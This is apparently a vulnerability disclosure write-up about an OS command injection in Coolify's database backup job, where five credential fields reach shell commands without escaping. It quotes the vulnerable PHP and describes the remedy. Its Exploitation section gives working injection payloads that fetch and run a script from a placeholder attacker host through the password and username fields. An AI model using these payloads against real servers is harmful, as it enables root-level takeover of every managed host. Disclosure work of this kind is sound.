Command Injection
Coolify: Host-Level RCE via Unescaped Database Credentials in Backup Jobs
How an incomplete security fix in Coolify left 5 credential fields injectable in database backup commands, allowing root-level RCE on all managed servers.
Coolify is a self-hosted PaaS (Platform as a Service) with over 36,000 stars on GitHub. It lets you deploy applications, databases, and services on your own servers. During a source code audit of the latest version, I found that the database backup functionality constructs shell commands by directly interpolating user-controlled credentials without any escaping. This results in authenticated Remote Code Execution on the host system.
The ironic part: a previous advisory (GHSA-vm5p-43qh-7pmq) attempted to fix command injection in backup jobs by adding escapeshellarg() — but only to the database name field. Every other credential field was left untouched.
The Vulnerability
The core issue is in app/Jobs/DatabaseBackupJob.php. When Coolify creates a database backup, it builds shell commands using PHP string interpolation. The database credentials — username, password, collection names — come from user input (set during database creation via the dashboard or API) and are never passed through escapeshellarg().
Here are the five injectable fields I identified:
1. PostgreSQL Username
// DatabaseBackupJob.php
$backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location";
The postgres_user field is interpolated directly into the command string. No quotes, no escaping.
2. PostgreSQL Password (Double-Quote Breakout)
$backupCommand .= " -e PGPASSWORD="{$this->postgres_password}"";
The password is wrapped in double quotes, but double quotes in bash allow command substitution. A payload containing $(command) or backticks will execute.
3. MySQL/MariaDB Root Password
$commands[] = "docker exec $this->container_name mysqldump -u root -p"{$this->database->mysql_root_password}" --all-databases ...";
Same pattern. Double-quoted interpolation = command substitution.
4. MongoDB Collection Names
$collectionsToExclude = str($databaseWithCollections)->after(':')->explode(',');
// later:
." --excludeCollection " . $collectionsToExclude->implode(' --excludeCollection ')
Collection names from the exclude list are concatenated directly. No quoting at all.
5. MongoDB Credentials in URI
$url = "mongodb://{$this->mongo_root_username}:{$this->mongo_root_password}@{$this->container_name}:27017";
$commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --archive > $this->backup_location";
Both the MongoDB username and password are placed directly into the connection URI, which is part of the shell command.
Exploitation
The simplest attack path uses the PostgreSQL password field:
- Create a PostgreSQL database through the Coolify dashboard (any authenticated user with database permissions)
- Set the password to:
x" $(curl http://ATTACKER/shell.sh|sh) " - Configure a scheduled backup for this database (or trigger one manually)
- When the backup job executes, the shell command becomes:
docker exec ... -e PGPASSWORD="x" $(curl http://ATTACKER/shell.sh|sh) "" container pg_dumpall ...
Bash interprets $(curl http://ATTACKER/shell.sh|sh) as command substitution. The attacker's script downloads and executes on the server. Since Coolify typically runs as root, this gives root-level RCE.
For the PostgreSQL username field, the payload is even simpler since there are no quotes to break out of:
postgres_user = "x;curl http://ATTACKER/shell.sh|sh;#"
// Resulting command:
pg_dumpall --username x;curl http://ATTACKER/shell.sh|sh;# | gzip > ...
The semicolons terminate the pg_dumpall command, execute the payload, and the # comments out the rest.
What Makes This Worse
- Persistent execution: If the database has scheduled backups, the payload re-executes on every backup cycle without any user interaction
- Scope change: Coolify manages multiple servers. A compromised Coolify instance can execute commands on all connected servers, not just the one running Coolify
- Post-exploitation: Root access means you can dump all databases, read SSH private keys, pivot to other managed hosts, and install persistent backdoors
- Low privilege requirement: You only need database management permissions, not full admin access
The Incomplete Fix
The previous advisory (GHSA-vm5p-43qh-7pmq) added escaping, but only to one field:
// What they fixed:
$escapedDbName = escapeshellarg($this->database->name);
// What they left untouched:
$this->database->postgres_user // username - no escaping
$this->postgres_password // password - no escaping
$this->database->mysql_root_password // password - no escaping
$collectionsToExclude // mongo collections - no escaping
$this->mongo_root_username // username - no escaping
$this->mongo_root_password // password - no escaping
This is a common pattern in security patches: fixing the specific field mentioned in the report without auditing adjacent code for the same class of vulnerability.
The Fix
Every user-controlled value that enters a shell command needs escapeshellarg():
$escapedUser = escapeshellarg($this->database->postgres_user);
$escapedPassword = escapeshellarg($this->postgres_password);
$backupCommand .= " -e PGPASSWORD=$escapedPassword $this->container_name pg_dumpall --username $escapedUser | gzip > $this->backup_location";
The same treatment needs to be applied to MySQL root password, MongoDB credentials, and collection names. Better yet, use environment variables passed through Docker's --env flag with proper escaping, or write credentials to a temporary file and reference it.
Details
| | | |---|---| | Advisory | GHSA-4vff-6j8j-qhcg | | Severity | Critical (CVSS 9.1) | | CWE | CWE-78 — OS Command Injection | | Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | | Reported | March 3, 2026 | | Disclosure deadline | June 1, 2026 |